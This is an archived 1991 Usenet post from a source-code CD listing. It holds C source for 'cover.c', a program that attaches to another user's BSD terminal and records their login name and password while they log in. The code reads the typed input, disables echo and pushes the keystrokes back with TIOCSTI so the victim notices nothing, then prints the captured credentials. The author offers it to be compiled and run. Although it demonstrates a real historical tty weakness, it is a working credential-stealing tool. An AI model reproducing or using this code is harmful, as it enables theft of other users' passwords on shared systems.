home *** CD-ROM | disk | FTP | other *** search
/ Source Code 1992 March / Source_Code_CD-ROM_Walnut_Creek_March_1992.iso / usenet / altsrcs / 3 / 3303 < prev    next >
Encoding:
Internet Message Format  |  1991-05-09  |  4.2 KB

  1. From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta)
  2. Newsgroups: alt.security,alt.sources,comp.unix.internals
  3. Subject: BSD tty security - an example
  4. Message-ID: <15678@life.ai.mit.edu>
  5. Date: 8 May 91 09:59:14 GMT
  6.  
  7. Here's a small program I wrote a while back. It speaks for itself,
  8. compile it, run it in the background (with &) and sit back.
  9. This program is an official release of the TimeWasters from HOLLAND !
  10.  
  11. ---
  12.  
  13.  
  14. /************************************************************************/
  15. /* cover.c, version 2.5, Copyright (C) 1991 by WasteWare.               */
  16. /* Unauthorized use and reproduction prohibited.                        */
  17. /* This program monitors the login process and records its findings.    */
  18. /************************************************************************/
  19.  
  20.  
  21. #include <stdio.h>
  22. #include <signal.h>
  23. #include <fcntl.h>
  24. #include <errno.h>
  25. #include <sys/types.h>
  26. #include <sys/termios.h>
  27.  
  28. #define DEBUG 1     /* Enable additional debugging info (needed!) */
  29. #define USLEEP          /* Define this if your UNIX supports usleep() */
  30.  
  31. #ifdef ULTRIX
  32. #define TCGETS TCGETP    /* Get termios structure */
  33. #define TCSETS TCSANOW    /* Set termios structure */
  34. #endif
  35.  
  36.  
  37. handler(signal)
  38. int signal;             /* signalnumber */
  39. {                       /* do nothing, ignore the signal */
  40.         if(DEBUG) printf("Ignoring signal %d\n",signal);
  41. }
  42.  
  43. int readandpush(f,string)
  44. FILE *f;
  45. char *string;
  46. {
  47.         char *cp,*result;
  48.         int e;
  49.         struct termios termios;
  50.  
  51.     result=fgets(string,20,f);    /* Read a line into string */
  52.     if (result==NULL)
  53.     {    perror("fgets()");
  54.         return(1);
  55.     }
  56.     if (DEBUG)
  57.     {    printf("String: %s\n",string);
  58.         fflush(stdout);
  59.     }
  60.  
  61.     ioctl(0,TCGETS,&termios);    /* These 3 lines turn off input echo */
  62. /*      echo = (termios.c_lflag & ECHO);    */
  63.     termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
  64.         ioctl(0,TCSETS,&termios);
  65.  
  66.         for (cp=string;*cp;cp++)        /* Push it back as input */
  67.         {       e=ioctl(0,TIOCSTI,cp);
  68.         if(e<0)
  69.         {    perror("ioctl()");
  70.             return(1);
  71.         }
  72.         }
  73.     return(0);
  74. }
  75.  
  76. main(argc,argv)
  77. int argc;
  78. char *argv[];
  79. {
  80.         /* variables */
  81.         int err;
  82.         FILE *f;
  83.         char *term      = "12345678901234567890";
  84.         char *login     = "12345678901234567890";
  85.         char *password  = "12345678901234567890";
  86.  
  87.         if (argc < 2)
  88.         {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
  89.                 printf("Enter ttyname: ");
  90.                 gets(term);
  91.         }
  92.         else term=argv[argc-1];
  93.  
  94.         signal(SIGQUIT,handler);
  95.         signal(SIGINT,handler);
  96.         signal(SIGTERM,handler);
  97.         signal(SIGHUP,handler);
  98.         signal(SIGTTOU,handler);
  99.  
  100.         close(0);               /* close stdin */
  101. #ifdef ULTRIX
  102.     if(setpgrp(0,100)==-1)
  103.         perror("setpgrp:");     /* Hopefully this works */
  104. #else
  105.     if(setsid()==-1)
  106.         perror("setsid:"); /* Disconnect from our controlling TTY and
  107.                                    start a new session as sessionleader */
  108. #endif
  109.         f=fopen(term,"r");      /* Open tty as a stream, this guarantees
  110.                                            getting file descriptor 0 */
  111.         if (f==NULL)
  112.         {       printf("Error opening %s with fopen()\n",term);
  113.                 exit(2);
  114.         }
  115.     if (DEBUG) system("ps -xu>>/dev/null &");
  116.         fclose(f);              /* Close the TTY again */
  117.         f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
  118.         if (f==NULL)
  119.         {       printf("Error opening /dev/tty with fopen()\n",term);
  120.                 exit(2);
  121.         }
  122.  
  123.     if(readandpush(f,login)==0)
  124.     {
  125. #ifdef USLEEP
  126.         usleep(20000);    /* This gives login(1) a chance to read the
  127.                    string, or the second call would read the
  128.                    input that the first call pushed back ! /*
  129. #else
  130.         for(i=0;i<1000;i++)
  131.             err=err+(i*i)
  132.         /* error    /* Alternatives not yet implemented */
  133. #endif
  134.         readandpush(f,password);
  135.         printf("Result: First: %s Second: %s\n",login,password);
  136.     }
  137.  
  138.         fflush(stdout);
  139.         sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
  140.                            to login(1), which would kill the user. Instead,
  141.                            wait a while. We then send SIGHUP to the shell of
  142.                            the user, which will ignore it. */
  143.     fclose(f);
  144. }
  145.  
  146.